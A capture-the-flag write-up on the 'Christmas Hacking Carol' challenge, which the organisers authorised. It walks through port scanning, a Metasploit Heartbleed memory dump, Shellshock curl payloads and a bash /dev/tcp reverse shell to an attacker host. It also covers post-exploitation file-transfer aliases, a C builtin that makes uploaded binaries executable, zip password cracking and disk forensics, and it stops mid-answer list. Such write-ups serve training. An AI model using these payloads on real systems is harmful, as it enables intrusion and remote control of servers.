1. technology and computing
2. software
3. databases

Prisăcaru Anatolie
04.01.2015
1/24
A Christmas Hacking Carol
Prisăcaru Anatolie
04.01.2015
2/24
Table of Contents
Ghost of Hacking Past...........................................................................................3
Overview...........................................................................................................3
Eliza...................................................................................................................4
Ghost of Hacking Present.....................................................................................6
Overview...........................................................................................................6
Heartbleed........................................................................................................7
Shellshock.........................................................................................................9
Further explorations.......................................................................................11
Ghost of Hacking Future....................................................................................14
Overview.........................................................................................................14
Letter from Jack to Chuck...............................................................................14
PcapNg............................................................................................................15
Bed curtains....................................................................................................17
Tiny Tom..........................................................................................................20
Answers...............................................................................................................22
Tools....................................................................................................................23
References..........................................................................................................24
Prisăcaru Anatolie
04.01.2015
3/24
Ghost of Hacking Past
Overview
In order to find the open ports on the IP given for the first
challenge, I ran a SYN scan with the target IP 173.255.233.59 with an
aggressive timing template for a faster scan.
# nmap -sS -p 1-65535 173.255.233.59 -T4
Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-02 18:34 EET
Nmap scan report for li243-59.members.linode.com (173.255.233.59)
Host is up (0.16s latency).
Not shown: 65526 closed ports
PORT
STATE
SERVICE
22/tcp
open
ssh
25/tcp
filtered smtp
135/tcp
filtered msrpc
136/tcp
filtered profile
137/tcp
filtered netbios-ns
138/tcp
filtered netbios-dgm
139/tcp
filtered netbios-ssn
445/tcp
filtered microsoft-ds
31124/tcp open
unknown
Nmap done: 1 IP address (1 host up) scanned in 616.64 seconds
The scan results showed 2 open ports: 22(ssh) and an unknown
port 31124. Probing the service versions (-sV -p22,3124) revealed
that there's an ssh server running on port 22, with version “OpenSSH
6.0p1 Debian 4+deb7u2 (protocol 2.0)”. A connection attempt using
the ssh client with “-vvv” flag disclosed the openssl version also
“OpenSSL 1.0.1e 11 Feb 2013”. Both seem to be up to date versions
(latest openssl version for debian wheezy is 1.0.1e-2+deb7u13 at
the moment of writing). The ssh server is configured to perform only
key-based authentication therefore it seemed to be out of the scope
and I moved on to the next port.
Prisăcaru Anatolie
04.01.2015
4/24
Eliza
Port 31124 seemed to run a custom text-based protocol.
Connecting to it using netcat I was greeted by Eliza, a simple chat
bot that introduced itself as Eliza:
# nc 173.255.233.59 31124
I AM ELIZA. WHAT'S ON YOUR MIND?
> Hello, Eliza, how are you?
HOW DO YOU DO. PLEASE STATE YOUR PROBLEM.
>
According to Wikipedia, “ELIZA is a computer program and an
early example of primitive natural language processing” and was
implemented “simple pattern matching techniques” therefore we
should just find the right keywords. The bot treats the keywords as
case-insensitive. I was able to determine that there are matches on
the following words:
1. Turing
2. Game, secret, enigma, puzzle, challenge
3. Surf, browse (plus an URL)
The bot behaves the same for the words that are synonyms.
There also seems to be an internal counter that keeps account how
many times each keyword matched. Eliza changes her responses if a
keyword was mentioned a specific amount of times. For example, for
the keyword "Turing", when mentioning it for the first time, Eliza will
reply: "DR. TURING? I THINK OF HIM AS A DEAR FATHER, AND I AM
DEEPLY PROUD OF HIS WORK.", mentioning it for the second time,
Eliza will reply with:
> turing
I'LL FETCH DR. TURING'S WIKIPEDIA PAGE FOR YOU.
"ALAN MATHISON TURING, OBE, FRS (/TJR/ TEWR-ING; 23 JUNE 1912 7
JUNE 1954) WAS A BRITISH MATHEMATICIAN, LOGICIAN, CRYPTANALYST,
PHILOSOPHER, PIONEERING COMPUTER SCIENTIST, MATHEMATICAL BIOLOGIST,
AND MARATHON AND ULTRA DISTANCE RUNNER."
>
Similarly, the messages for the keyword "secret" will be the
following:
•
A GIRL'S GOTTA KEEP HER SECRETS. WHY DON'T YOU ASK ME ABOUT
SOMETHING ELSE?
•
YOU REALLY ARE INTERESTED IN MY SECRET. I THINK WE SHOULD GET TO
Prisăcaru Anatolie
04.01.2015
5/24
KNOW EACH OTHER BETTER FIRST. TELL ME ABOUT YOUR FAVOURITE
WEBSITES.
•
I AM SO SORRY, BUT I CAN'T TELL YOU MY SECRET VIA THIS DIALOG. I DO
REALLY LIKE YOU, BUT I WORRY THAT SOMEONE MAY BE SHOULDER
SURFING YOU. NO ONE IS SHOULDER SURFING ME, THOUGH, SO WHY
DON'T YOU GIVE ME A URL THAT I CAN SURF TO?
The 3rd keyword group is available only after Eliza provided her
interest into browsing a website. It was observed that when given a
phrase that includes one of "browse" or "surf" folllowed by an URL
starting with “http://” the bot will crawl the given link and will try to
fetch the title from the html source. In order to analyze this request, I
started to listen on a port using netcat and provided the URL to Eliza
in the following format: http://<IP>:<port>/. Eliza seemed to
understand this syntax and happily sent a GET request:
# nc -nvlp 8081
listening on [any] 8081 ...
connect to [[REDACTED]] from (UNKNOWN) [173.255.233.59] 47611
GET / HTTP/1.1
Accept-Encoding: identity
Host: [REDACTED]:8081
Connection: close
User-Agent: Mozilla/5.0 (Bombe; Rotors:36) Eliza Secret: "Machines
take me by surprise with great frequency. -Alan Turing"
^C
This does not only reveales Eliza's secret but also provides a
couple of interesting things. The request seems to be written from
scratch and not using some library. The "Accept-Encoding: identity"
header forces the webserver to return raw content and not to use
any compression methods like gzip or deflate in order to easier parse
the response. The "Host" header is a mandatory request-header for
HTTP/1.1 and is obtained from the original URL given by the user.
The "Connection: close" instructs the webserver to close the
connection as soon as the response is sent and not to wait for any
further instructions. The "User-Agent" header is populated with
Eliza's secret.
Another interesting feature of this functionality is the ability to
(theoretically) scan for open ports. Two special URLs seemed to be
interesting enough:
1. http://localhost:22
2. http://localhost:31124
The first one would close the connection unexpectedly, perhaps due
to a parsing error or maybe for safety precautions. The second one
would cause Eliza to connect to itself and just hang.
Eliza has a built-in connection time limitation of 30 minutes.
Prisăcaru Anatolie
04.01.2015
6/24
Ghost of Hacking Present
Overview
For the next challenge the website www.scrooge-and-marley.com
was given with only 80 and 443 ports in scope. The website itself
seems to be a simple one. The inline CSS and external resources
(bootstrap and font) suggest an attempt to reduce the number of
requests to the site. By analyzing the source code and the network
tab in the web-browser the following resources have been identified:
•
2 HTML pages: index.html and contact.html
•
4 PNG images (1.png 2.png 3.png 4.png)
•
2 audio recordings (a.ogg and a.mp3)
•
1 bash script /cgi-bin/submit.sh
Using curl, I sent HEAD requests to HTTP and HTTPS so that I
can inspect the response headers:
# curl -I https://www.scrooge-and-marley.com -k
HTTP/1.1 200 OK
Date: Sun, 04 Jan 2015 13:03:09 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Wed, 10 Dec 2014 19:23:01 GMT
ETag: "2057f-11fc-509e19689069f"
Accept-Ranges: bytes
Content-Length: 4604
Vary: Accept-Encoding
Content-Type: text/html
The response-headers were identical for both HTTP and HTTPS
requests which suggests that both protocols are handled by the
same web-server and there aren't any load balancers or reverse
proxies on the way. Judging by the “Server” response-header the
web-server is Apache version 2.2.22 and the distribution is likely to
be Debian.
Since we were asked not to perform any hogging attacks I did
not ran any tools that would brute-force directory structure of the
web-site (like DirBuster) and tried to access only some standard
pages by hand. Inspecting the 404 page did not reveal any useful
information so I've tried to request the /server-status page. Luckily, I
got a 200 OK response and some useful information, more
specifically, the server built date Server Built: Mar 4 2013 22:05:16
and the versions of apache and its mods being in use: Server
Version: Apache/2.2.22 (Debian) PHP/5.4.4-14+deb7u5
Prisăcaru Anatolie
04.01.2015
7/24
mod_python/3.3.1 Python/2.7.3 mod_ssl/2.2.22 OpenSSL/1.0.1e
mod_perl/2.0.7 Perl/v5.14.2, which seem to be a bit outdated which
suggest that the server haven't been updated in a while and might
have left the OpenSSL library vulnerable to the heartbleed bug which
was publicly disclosed in April 2014.
Heartbleed
To confirm this theory, I fired up msfconsole and used
auxiliary/scanner/ssl/openssl_heartbleed to scan the web-server:
msf auxiliary(openssl_heartbleed) > use
auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > set RHOSTS
scrooge-and-marley.com
RHOSTS => scrooge-and-marley.com
msf auxiliary(openssl_heartbleed) > run
[+] 23.239.15.124:443 - Heartbeat response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
“Heartbeat response with leak ” - Eureka! Using the same exploit but
setting the ACTION to DUMP I was able to grab chunks of 64K from the
memory of the server. Among the binary data I noticed an
URL-encoded text:
[*] exec: hexdump -C
~/.msf4/loot/20150104165049_default_23.239.15.124_openssl.heartble_298155.bin
<--- snip --->
00000090 00 00 05 00 0f 00 01 01 32 30 66 6f 72 25 32 30 |........20for%20|
000000a0 69 6e 25 32 30 74 68 65 25 32 30 76 65 72 79 25 |in%20the%20very%|
000000b0 32 30 61 69 72 25 32 30 74 68 72 6f 75 67 68 25 |20air%20through%|
000000c0 32 30 77 68 69 63 68 25 32 30 74 68 69 73 25 32 |20which%20this%2|
000000d0 30 53 70 69 72 69 74 25 32 30 6d 6f 76 65 64 25 |0Spirit%20moved%|
000000e0 32 30 69 74 25 32 30 73 65 65 6d 65 64 25 32 30 |20it%20seemed%20|
000000f0 74 6f 25 32 30 73 63 61 74 74 65 72 25 32 30 67 |to%20scatter%20g|
00000100 6c 6f 6f 6d 25 32 30 61 6e 64 25 32 30 6d 79 73 |loom%20and%20mys|
00000110 74 65 72 79 2e 25 30 41 25 30 41 49 74 25 32 30 |tery.%0A%0AIt%20|
00000120 77 61 73 25 32 30 73 68 72 6f 75 64 65 64 25 32 |was%20shrouded%2|
00000130 30 69 6e 25 32 30 61 25 32 30 64 65 65 70 25 32 |0in%20a%20deep%2|
00000140 30 62 6c 61 63 6b 25 32 30 67 61 72 6d 65 6e 74 |0black%20garment|
00000150 25 32 43 25 32 30 77 68 69 63 68 25 32 30 63 6f |%2C%20which%20co|
<--- snip --->
000002a0 72 72 6f 75 6e 64 65 64 2e 25 32 30 26 57 65 62 |rrounded.%20&Web|
000002b0 73 69 74 65 25 32 30 53 65 63 72 65 74 25 32 30 |site%20Secret%20|
000002c0 25 32 33 31 3d 48 61 63 6b 69 6e 67 25 32 30 63 |%231=Hacking%20c|
000002d0 61 6e 25 32 30 62 65 25 32 30 6e 6f 62 6c 65 25 |an%20be%20noble%|
000002e0 32 65 0c 9b 9e 09 97 d0 7b f1 49 6b b6 c4 a4 49 |2e......{.Ik...I|
000002f0 36 14 1b d5 fa 4d 69 69 69 69 69 69 69 69 69 69 |6....Miiiiiiiiii|
00000300 69 69 69 69 69 69 69 69 69 69 69 69 69 69 69 69 |iiiiiiiiiiiiiiii|
By sending several request and then using the strings utility on
Prisăcaru Anatolie
04.01.2015
8/24
the extracted binary blob (since the URL-encoded text contains only
printable ASCII characters) with the minimum string length of 20,
grep-ing for %20 and then passing the output to sed in order to
prepare printf-friendly format by replacing the percentage sign with
\x to URL-decode the text on the fly, I was able to recover the
following text which is an excerpt from the novella by Charles
Dickens followed by the website secret #1:
msf auxiliary(openssl_heartbleed) > strings -n20 .msf4/loot/*heartb*.bin | grep
'%20' | sed 's/%/\\x/g' | xargs -0 printf
[*] exec: strings -n20 .msf4/loot/*heartb*.bin | grep '%20' | sed 's/%/\\x/g' |
xargs -0 printf
20for in the very air through which this Spirit moved it seemed to scatter gloom
and mystery.
It was shrouded in a deep black garment, which concealed its head, its face, its
form, and left nothing of it visible save one outstretched hand. But for this it
would have been difficult to detach its figure from the night, and separate it
from the darkness by which it was surrounded. &Website Secret #1=Hacking can be
noble.
20for in the very air through which this Spirit moved it seemed to scatter gloom
and mystery.
It was shrouded in a deep black garment, which concealed its head, its face, its
form, and left nothing of it visible save one outstretched hand. But for this it
would have been difficult to detach its figure from the night, and separate it
from the darkness by which it was surrounded. &Website Secret #1=Hacking can be
noble.
20for in the very air through which this Spirit moved it seemed to scatter gloom
and mystery.
It was shrouded in a deep black garment, which concealed its head, its face, its
form, and left nothing of it visible save one outstretched hand. But for this it
would have been difficult to detach its figure from the night, and separate it
from the darkness by which it was surrounded. &Website Secret #1=Hacking can be
noble.
20for in the very air through which this Spirit moved it seemed to scatter gloom
and mystery.
It was shrouded in a deep black garment, which concealed its head, its face, its
form, and left nothing of it visible save one outstretched hand. But for this it
would have been difficult to detach its figure from the night, and separate it
from the darkness by which it was surrounded. &Website Secret #1=Hacking can be
noble.3!
20for in the very air through which this Spirit moved it seemed to scatter gloom
and mystery.
It was shrouded in a deep black garment, which concealed its head, its face, its
form, and left nothing of it visible save one outstretched hand. But for this it
would have been difficult to detach its figure from the night, and separate it
from the darkness by which it was surrounded. &Website Secret #1=Hacking can be
noble.;
Prisăcaru Anatolie
04.01.2015
9/24
Shellshock
Among the resources identified on the website, /cgi-bin/submit.sh
referenced as the contact form action definitely caught my eye. The
form method is GET and form elements are missing the name
attribute which means that no data is sent to the script which makes
the contact form pointless (Mr. Scrooge might lose some leads here,
huh?). Once requested, the response coming from the script includes
a meta-refresh to the homepage of the website. Since we've learned
already that this server is pretty outdated, it worths a test for the
“Shellshock” vulnerability.
Using curl, I've sent a GET request to the server adding a
specially crafted User-Agent header the purpose of which is to
attempt to test for remote command execution:
# curl -I 'scrooge-and-marley.com/cgi-bin/submit.sh' \
-A '() { :; }; echo X: Y;'
HTTP/1.1 200 OK
Date: Sun, 04 Jan 2015 18:07:00 GMT
Server: Apache/2.2.22 (Debian)
X: Y
Vary: Accept-Encoding
Content-Length: 174
Content-Type: text/html
In order to confirm that this is actually a RCE vulnerability and
not a false positive I've sent another request and included a payload
that performs an arithmetic operation using built-in bash functions:
# curl -I 'scrooge-and-marley.com/cgi-bin/submit.sh' \
-A '() { :; }; echo X: $((2000-663));'
HTTP/1.1 200 OK
Date: Sun, 04 Jan 2015 18:08:34 GMT
Server: Apache/2.2.22 (Debian)
X: 1337
Vary: Accept-Encoding
Content-Length: 174
Content-Type: text/html
In order to exploit the vulnerability I have tried to get a reverse
shell. I noticed that it was impossible to get use of any system
binaries and redirecting the STDERR to STDOUT confirmed this:
Prisăcaru Anatolie
04.01.2015
10/24
# curl -I 'scrooge-and-marley.com/cgi-bin/submit.sh' \
-A '() { :; }; echo RCE: $(/bin/ls -l / 2>&1);'
HTTP/1.1 200 OK
Date: Sun, 04 Jan 2015 18:40:20 GMT
Server: Apache/2.2.22 (Debian)
RCE: /bin/bash: /bin/ls: No such file or directory
Vary: Accept-Encoding
Content-Length: 174
Content-Type: text/html
Since the only available binary on the system seems to be bash,
I have tried to use the /dev/tcp pseudo-device. When executing a
command on a /dev/tcp/<HOST>/<PORT> pseudo-device file, bash
opens a TCP connection. I started listening on a port with netcat nc
-nvlp 4444 on my own machine and issued a payload that would
instruct bash to connect to it:
# curl -I 'scrooge-and-marley.com/cgi-bin/submit.sh' \
-A '() { :; }; echo RCE: $(/bin/bash -i >& /dev/tcp/[REDACTED]/4444 0>&1);'
A shell popped on my terminal where I was listening.
At this moment we have a remote shell but after trying a couple
of commands it was clear that we are limited only to bash built-in
functions. In order to be able to inspect the remote system more
closely I have implemented cat and ls using bash built-in functions:
bash-4.2$ alias cat='while read i; do echo $i; done <'
alias cat='while read i; do echo $i; done <'
bash-4.2$ alias ls='for i in *; do echo $i; done'
alias ls='for i in *; do echo $i; done'
bash-4.2$
Since cd and pwd are already available as bash functions, at this
point I've got a usable bash environment which let me browse
around and discover the filesystem directory structure. In the root
directory of the webserver I observed a file named secret which
contained the 2nd secret of the website:
Prisăcaru Anatolie
04.01.2015
11/24
bash-4.2$ cd /
cd /
bash-4.2$ ls
ls
bin
dev
etc
lib
lib64
run
sbin
secret
selinux
usr
var
bash-4.2$ cat secret
cat secret
Website Secret #2: Use your skills for good.
Further explorations
Even if radical measures were taken in order to secure the
machine, it was still possible using bash built-in functions to build up
a decent environment. In order to download other binaries to the
system I had a couple of riddles to solve:
1. The current user is unprivileged and is not able to write files in
arbitrary directories (for ex /bin).
The directory /var/www and the files and folders found in it were
owned by root, the current user had only the read (and execute
on some files/folders) permissions and the immutable was set
making it impossible to overwrite the files located there.
Fortunately /var/lock (containing a directory apache2 and a root
owned file apache3) was found to be writable. Creating a .bin
folder there and setting the $PATH environment variable to this
folder proved to be a reliable workaround.
2. /dev/tcp seemed to be unreliable for transferring binaries.
In order to overcome this issue an download/upload and
encode/decode pairs of functions were handy:
alias encode='{ tr -d \\n | sed "s#\\(..\\)#\\\\x\\1#g"; echo; }'
alias upload='{ xxd -p | encode | nc -q0 -nvlp 5050; }'
Prisăcaru Anatolie
04.01.2015
12/24
The upload function passed the STDIN to the xxd tool which
hex-encodes it then passes it through the encode function
which adds \x sequence for every 2 characters and afterwards
the result is fed to netcat which listens to a connection on the
port 5050.
alias decode='while read -ru9 line; do printf "$line"; done'
alias download='( exec 9<>/dev/tcp/<IP>/5050; decode )'
The download function opens a TCP connection to the specified
IP address on port 5050 and makes it available through the file
descriptor 9 which is afterwards used by the read function which
reads line by line from the input and passes it to the bash
built-in function printf which interprets the escape sequences
in order to obtain the binary data and echoes everything to
STDOUT. The -r parameter passed to read ensures the escape
sequences are not interpreted twice (first time by read and
afterwards by printf). The -u9 parameter instructs read to read
the contents from fd 9 instead of 0 (STDIN).
The encode/upload functions are to be used on the personal
(healthy) machine and decode/download on the remote
(limited) machine.
3. Lack of the chmod executable limits the possibility of executing
the downloaded binaries.
The solution to this issue was solved using the bash built-in
enable. Besides the ability to disable and re-enable built-in
functions, it is also possible to load and register new bash
built-ins. A simple built-in can be compiled from the following
source code:
extern int chmod(const char *pathname, unsigned int mode);
int entry(void) {
return !! chmod("busybox", 0700);
}
char *desc[] = {0};
struct quick_hack {
char *name; int (*fn)(void); int on;
char **long_doc, *short_doc, *other;
} setx_struct = { "setx", entry, 1, desc, "chmod 0700 busybox", 0 };
This can be compiled using gcc -Wall -Wextra -pedantic
-nostdlib -Os -fpic -shared setx.c -o setx, uploaded using the
Prisăcaru Anatolie
04.01.2015
13/24
previously defined functions to the destination machine, and
afterwards registered as a bash built-in using:
enable -f ./setx setx. This will set the executable bit to the
(statically compiled) busybox in the current directory.
Creating symlink for each utility supported by busybox was trivial
and he result looked like this:
bash-4.2$ ls -l /
ls -l /
total 44
drwxr-xr-x
2 0
root
4096 Dec 9 15:34 bin
drwxr-xr-x
2 0
root
4096 Dec 6 16:38 dev
drwxr-xr-x
4 0
root
4096 Dec 9 15:35 etc
drwxr-xr-x
3 0
root
4096 Dec 6 16:38 lib
drwxr-xr-x
2 0
root
4096 Dec 6 16:38 lib64
drwxr-xr-x
3 0
root
4096 Dec 6 16:38 run
drwxr-xr-x
2 0
root
4096 Dec 6 16:39 sbin
-rw-r--r-1 0
root
45 Dec 9 12:52 secret
drwxr-xr-x
2 0
root
4096 Jun 10 2012 selinux
drwxr-xr-x
3 0
root
4096 Dec 6 17:48 usr
drwxr-xr-x
4 0
root
4096 Dec 6 16:40 var
bash-4.2$ uname -a
uname -a
Linux www 3.2.1-x86_64-linode23 #1 SMP Mon Jan 23 13:37:32 EST 2012 x86_64
GNU/Linux
bash-4.2$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-4.2$
Although the kernel version seemed to be pretty old I did not
investigated further the privilege escalation and chroot evasion
possibilities.
Prisăcaru Anatolie
04.01.2015
14/24
Ghost of Hacking Future
Overview
The downloaded USB image appears to be a 8000kB disk image
with a NTFS partition on it:
# file hhusb.dd.bin
hhusb.dd.bin: x86 boot sector, code offset 0x52, OEM-ID "NTFS
",
sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 255, hidden
sectors 2048, dos < 4.0 BootSector (0x0)
# parted hhusb.dd.bin print
Model: (file)
Disk hhusb.dd.bin: 8000kB
Sector size (logical/physical): 512B/512B
Partition Table: loop
Number
1
Start
0.00B
End
8000kB
Size
8000kB
File system
ntfs
Flags
The first thing was to mount the partition as a loop device:
# mkdir ntfs
# mount -o loop hhusb.dd.bin ntfs
# ls -l ntfs
total 528
-rwxrwxrwx 2 root root 82944 Dec 26
-rwxrwxrwx 2 root root 452100 Dec 26
2034 LetterFromJackToChuck.doc
2034 hh2014-chat.pcapng
By listing the files, it seems that there are 2 files on the filesystem: a
Microsoft Word document and a PCAP Next Generation Dump File.
Letter from Jack to Chuck
Although it was possible to extract the first secret by just
running the strings command on the LetterFromJackToChuck.doc:
# strings LetterFromJackToChuck.doc | tail -n 10
g9o{
None. I run the company!
Generic Victorian Company
Title
_PID_LINKBASE
Secret
USB Secret #1: Your demise is a source of mirth.
Microsoft Word 97-2004 Document
NB6W
Word.Document.8
the proper way to find it is by looking at the document properties in
Prisăcaru Anatolie
04.01.2015
15/24
Microsoft Word or, in my case, using LibreOffice. The secret was
stored under the a property field named “Secret”:
In order to test for embedded files I've used oledump to analyze
the file, although it did not reveal anything special:
# oledump -i
1:
96
2:
4096
3:
4504
4:
6881
5:
57902
6:
4660
LetterFromJackToChuck.doc
'\x01CompObj'
'\x05DocumentSummaryInformation'
'\x05SummaryInformation'
'1Table'
'Data'
'WordDocument'
PcapNg
The second file was a 452100 bytes size network capture. I
opened the file in Wireshark and one of the first thing I did was to
take a look at the Statistics → Protocol Ierarchy. As a quick overview:
• 94.33% of the file contents is composed of IPv4 traffic, with:
◦ 64.81% being TCP
◦ 21.27% UDP
◦ 8.25% ICMP
• 1.09% are ARP messages
• 4.49% IPv6 containing only UDP packets
Prisăcaru Anatolie
04.01.2015
16/24
The remaining 0.09% of the file were packet comments which
were attached to the frames no. 2000 and 2015:
1. VVNCIFNlY3JldCAjMjogWW91ciBkZW1pc2UgaXMgYSBzb3VyY2Ugb2YgcmVsaW
VmLg==
2. https://code.google.com/p/f5-steganography/
The first comment is a base64 encoded text which decodes to
“USB Secret #2: Your demise is a source of relief.”. The second
comment seems to be a hint to one of the next challenges.
The possible gateway of the network was at the address
10.10.10.1 which seems to be a Cisco router which name was
advertised on the network in the frame #40 as “E3200.local” and
was periodically sending multicast packets using NOTIFY HTTP
method as well as responding to mDNS requests.
100% of the IPv4 TCP traffic contained HTTP packets. All the
traffic took place between a web-server at 10.10.10.10 (with the
MAC address 00:0c:29:38:fa:1a) and two clients 10.10.10.123 (with
the MAC address d4:be:d9:70:4f:aa) and 10.10.10.124 (with the MAC
address 0c:4d:e9:c3:a8:2b).
It was observed the presence of a 4th machine on the network
with the MAC address f0:de:f1:5f:01:f2 (vendor: WistronI) and IP
address 10.10.10.122 which appeared to be a Windows XP
(Microsoft-Windows-NT/5.1 UPnP/1.0 UPnP-Device-Host/1.0) machine
judging by the sent NetBios Name Service queries and SSDP NOTIFY
HTTP requests. There is no trace of user-generated traffic coming
from this machine. The endpoint attempted an IPv6 configuration bu
sending a DHCPv6 SOLICIT request in frame #158 – no reply was
found. As a bonus, the date “Tue, 09 Dec 2014 19:02:34 GMT“ was
found in a SSDP HTTP-response at frame #1313 (unlucky number 13,
huh?).
Judging by the User-Agent string “Mozilla/5.0 (X11; Linux i686;
rv:24.0) Gecko/20140429 Firefox/24.0 Iceweasel/24.5.0”,
10.10.10.123 was running Linux and was using Iceweasel version
24.5.0.
On the other side, “Mozilla/5.0 (Macintosh; Intel Mac OS X
10.10; rv:34.0) Gecko/20100101 Firefox/34.0” was the User-Agent of
10.10.10.124 which was running OS X version 10.10: Puma and was
using Firefox version 34.
Inspecting the prefixes of the MAC addresses, 10.10.10.10's
network interface card vendor is Vmware which suggests that the
webserver is virtualized, 10.10.10.123's is Dell and 10.10.10.124's is
Apple.
Prisăcaru Anatolie
04.01.2015
17/24
The web-server seemed to run (a now-days latest version) of
phpfreechat v2.1.0, which is a web-based chat-room script written in
PHP. Based on the request headers, the application was hosted on a
Debian server with Apache version 2.2.22 and X-Powered-By:
PHP/5.4.35-0+deb7u2 (latest PHP version available in the Debian
repositories at the time of writing, but ancient for the year 2034).
The participants of the discussion were identified by the
nicknames csmith (10.10.10.124) and ssmith (10.10.10.123). Here is
the actual conversation which took place in the future, on Dec 25,
2034:
[csmith@21:01:04] My Darling Husband, I do so appreciate your
checking with Mr. Scrooge about the status of our debts. If he
would grant us just one more month, we may be able scrape
together enough to meet him minimum payment and stay out of
debtor's prison. Please tell me of your progress, my love.
[ssmith@21:01:29] As promised, I have indeed reached out to Mr.
Scrooge to discuss our financial affairs with him, dear.
[csmith@21:01:41] Is it good... or bad?
[ssmith@21:01:47] Bad.
[csmith@21:02:01] We are quite ruined.
[ssmith@21:02:19] No.
There is hope yet, Caroline.
[csmith@21:02:46] If he relents, there is.
hope, if such a miracle has happened.
[ssmith@21:03:00] He is past relenting.
Nothing is past
He is dead.
[csmith@21:03:28] That is wondrous news! To whom will our debt
be transferred?
[ssmith@21:04:18] I don't know. But before that time we shall
be ready with the money. And even if we are not, it would be a
bad fortune indeed to find so merciless a creditor in his
successor. We may sleep tonight with light hearts, Caroline!
[csmith@21:04:53] I've just told our children about Mr.
Scrooge's death, and all of their faces are brighter for it.
We now have a very happy house. I so love you.
[ssmith@21:05:13] I shall see you soon, my dear. Lovingly -Samuel.
Bed curtains
Since there were no files left on the device to analyze I
attempted to see if there are traces of deleted files on the partition.
By running binwalk on the disk image, the presence of a zip-file
encrypted archive was found at the offset 0x4FE000:
Prisăcaru Anatolie
04.01.2015
18/24
# binwalk hhusb.dd.bin | tail -n 3
5234688
0x4FE000
Zip encrypted archive data, at least
v2.0 to extract, compressed size: 1429113, uncompressed size:
1434946, name: "Bed_Curtains.png" 6663977
0x65AF29
End of
Zip archive
# COUNT=$((6663977-5234688)); echo $COUNT
1429289
# dd if=hhusb.dd.bin of=out.zip skip=5234688 count=$COUNT bs=1
1429289+0 records in
1429289+0 records out
1429289 bytes (1.4 MB) copied, 4.46659 s, 320 kB/s
Alternatively, it was possible to extract the file using photorec or
testdisk utilities:
TestDisk 6.13, Data Recovery Utility, November 2011
Christophe GRENIER <grenier@cgsecurity.org>
http://www.cgsecurity.org
P NTFS
0
0 1
0 248 1
Directory /
>dr-xr-xr-x
dr-xr-xr-x
-r--r--r--r--r--r--r--r--r--
0
0
0
0
0
0
0
0
0
0
0
0
452100
1429311
82944
26-Dec-2034
26-Dec-2034
26-Dec-2034
26-Dec-2034
26-Dec-2034
05:20
05:20
05:10
05:10
05:10
15625 [FUTURE GHOST]
.
..
hh2014-chat.pcapng
hh2014-chat.pcapng:Bed_Curtains.zip
LetterFromJackToChuck.doc
Use Right to change directory
q to quit, : to select the current file, a to select all files
C to copy the selected files, c to copy the current file
Since the archive was password-protected, I attempted to
bruteforce the password using the fcrackzip utility and the
rockyou.txt dictionaryfile. The attempt was successful and cracking
and it took only one minute:
# time fcrackzip -v -u -D -p rockyou.txt Bed_Curtains.zip
found file 'Bed_Curtains.png', (size cp/uc 1429113/1434946, flags
9, chk 4d1a)
checking pw udei9Qui
PASSWORD FOUND!!!!: pw == shambolic
fcrackzip -v -u -D -p rockyou.txt Bed_Curtains.zip
2.00s system 7% cpu 1:08.58 total
# unzip -P shambolic bed-curtains.zip
Archive: bed-curtains.zip
inflating: Bed_Curtains.png
3.28s user
Prisăcaru Anatolie
04.01.2015
19/24
There is a comment on the scrooge-and-marley.com website
near to the CSS code: /* shambolic CSS, natch */. I can't tell if this
was introduced as a hint for this challenge or not, but it would be
indeed a nice metaphor to compare the bed curtains to CSS.
The PNG image that was found in the archive, contained
another excerpt from the novel “A Christmas Hacking Carol”:
The secret itself, yet again, was readable using the strings
utility. A religiously correct way of reading it though would be, for
example, using the identify utility which is part of the ImageMagick:
# strings Bed_Curtains.png | grep -i secret
USB Secret #3: Your demise is a source of gain for others.
# identify -verbose Bed_Curtains.png | grep -i properties -A 3
Properties:
Comment: USB Secret #3: Your demise is a source of gain for others.
date:create: 2015-01-05T05:57:48+02:00
date:modify: 2014-12-09T09:40:52+02:00
Alternative ways to read this are using for example a GUI
application like GIMP or Photoshop.
Prisăcaru Anatolie
04.01.2015
20/24
Tiny Tom
The last secret of the USB image was actually pretty trivial to
find. The image was earlier dumped by the photorec utility but an
alternative way to get it was us by analyzing the USB image using
the ntfsundelete utility:
# ntfsundelete hhusb.dd.bin
Inode
Flags %age Date
Size Filename
--------------------------------------------------------------16
F..!
0% 1970-01-01
0 <none>
<--- snip --->
23
F..!
0% 1970-01-01
0 <none>
34
FN..
100% 2034-12-26
49209 Tiny_Tom_Crutches_Final.jpg
35
F..!
0% 1970-01-01
0 <none>
<--- snip --->
255
F..!
0% 1970-01-01
0 <none>
Files with potentially recoverable content: 1
# ntfsundelete -u -i 34 hhusb.dd.bin
Inode
Flags %age Date
Size Filename
--------------------------------------------------------------34
FN..
0% 2034-12-26
49209 Tiny_Tom_Crutches_Final.jpg
Undeleted 'Tiny_Tom_Crutches_Final.jpg' successfully.
Tiny_Tom_Crutches_Final.jpg:
Prisăcaru Anatolie
04.01.2015
21/24
Note: It seems that the image extracted by the ntfsundelete utility
and by photorec differ (the first one is bigger), even if both images
are correctly interpreted by the image viewer, the first one contains
extraneous information at the end of the file.
Using the previously found hint, I downloaded the f5.jar utility
and extracted the stenographically hidden message:
# ls -l Tiny_Tom_Crutches_Final.jpg
-rw------- 1 root root 53248 Dec 26
2034 Tiny_Tom_Crutches_Final.jpg
# wget -q http://f5-steganography.googlecode.com/files/f5.jar
# java -jar f5.jar x -e out.txt
contents/restored-photorec/recup_dir.1/f0005048.jpg
Huffman decoding starts
Permutation starts
423168 indices shuffled
Extraction starts
Length of embedded file: 116 bytes
(1, 127, 7) code used
# cat out.txt
Tiny Tom has died.
USB Secret #4: You can prevent much grief and cause much joy. Hack for
good, not evil or greed.
RIP Tiny Tom.
Prisăcaru Anatolie
04.01.2015
22/24
Answers
Q: What secret did the Ghost of Hacking Past include on the system
at 173.255.233.59?
A: Eliza Secret: "Machines take me by surprise with great
frequency. -Alan Turing"
Q: What two secrets did the Ghost of Hacking Present deposit on the
http://www.scrooge-and-marley.com website? You have permission to
attack that website (TCP port 80 and 443 only) with the goal of
retrieving those secrets, but please do not attempt any denial of
service attacks or performance hogging attacks on that machine.
A:
Website Secret #1: Hacking can be noble.
Website Secret #2: Use your skills for good.
Q: What four secrets are found on the USB file system image
bestowed by the Ghost of Hacking Future?
A:
USB Secret #1: Your demise is a source of mirth
